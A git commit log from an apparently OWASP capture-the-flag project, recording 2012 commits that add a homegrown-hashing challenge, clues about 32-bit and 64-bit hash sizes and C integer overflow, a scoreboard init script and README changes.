    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 8 16:33:56 2012 -0700

        Merge branch 'master' of github.com:mjmajor/OWASP-CTF

    commit 9549aac7fd8634e21cf70fa1218a85ab5acc12e3
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 8 16:23:06 2012 -0700

        Moved file re_login.c, it was mistakenly put in the root folder.

    commit b0348e159dbd19f8e620e4581412b9a22426b577
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 8 16:00:20 2012 -0700

        first commit

    commit 7225c3ad45f7c08a509d5104e9dac736579abca1
    Author: Chris <xunil154@gmail.com>
    Date:   Tue Nov 27 11:39:24 2012 -0700

        Added scoreboard database init script

    commit a5a51a594760b736bb9f587a81b16f095b1c1d3a
    Author: Mark Major <mjmajor@gmail.com>
    Date:   Mon Nov 19 09:25:22 2012 -0700

        Added additional clues in hash_info.html pages

        To help competitors, two additional clues are provided. First,
the
        specific size of the hashes are give (Part1: 32-bit; Part2:
64-bit).
        Second, the C language is mentioned specifically to let people
know how
        to handle integer overflows.

        Some languages handle numbers differently, particularly in
regards to
        calculating numbers larger than the bit-wise limitation. For
example, an
        unsigned 32-bit integer has a maximum value of 4294967295. When
        exceeding this value, C will wrap back to 0 while other
languages such
        as Python may simply increase the size of the number (then
truncate down
        as needed).

    commit 2892dc8b4cc92da972a718fa3f4e0b931060ac24
    Author: Mark Major <mjmajor@gmail.com>
    Date:   Sun Nov 18 18:24:52 2012 -0700

        Updated the equation picture for part 1

        The multiplication operator should have been an addition
operator. Oops!

    commit a29f7fc7eca5644e01e72cada9bc58b7b2b7882b
    Author: Mark Major <mjmajor@gmail.com>
    Date:   Sun Nov 18 17:19:07 2012 -0700

        Adding first pass of homegrown hashing

        The web side of this challenge is not developed. The only real
        functionality is the hashing algorithms and resulting hashes.
Additional
        details are found in code comment and READMEs.
        The public_html/ directories (for part1 and part2) are the bits
intended
        for the users to see. The hash/ directories are provided as a
        demonstration of how the challenges work.

    commit f3a8ad36e5b7092827104ff322c72e010bcd27f6
    Author: Chris Campbell <xunil154@gmail.com>
    Date:   Sun Nov 18 16:41:33 2012 -0700

        Initial directory structure and basic readme's

    commit bba963eb45700ef65bdef566c10ece84333e1a4c
    Author: mjmajor <mjmajor@gmail.com>
    Date:   Sun Nov 18 15:31:07 2012 -0800

        Initial commit

    commit 097351c34d2fdbaf474cb438d71ad9097717d067
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Thu Oct 25 22:45:56 2012 -0600

        added Trello link to README

    commit bc935528f474a820148f3098149949808a41cec8
    Author: mjmajor <mjmajor@gmail.com>
    Date:   Tue Oct 16 16:05:20 2012 -0700

        Initial commit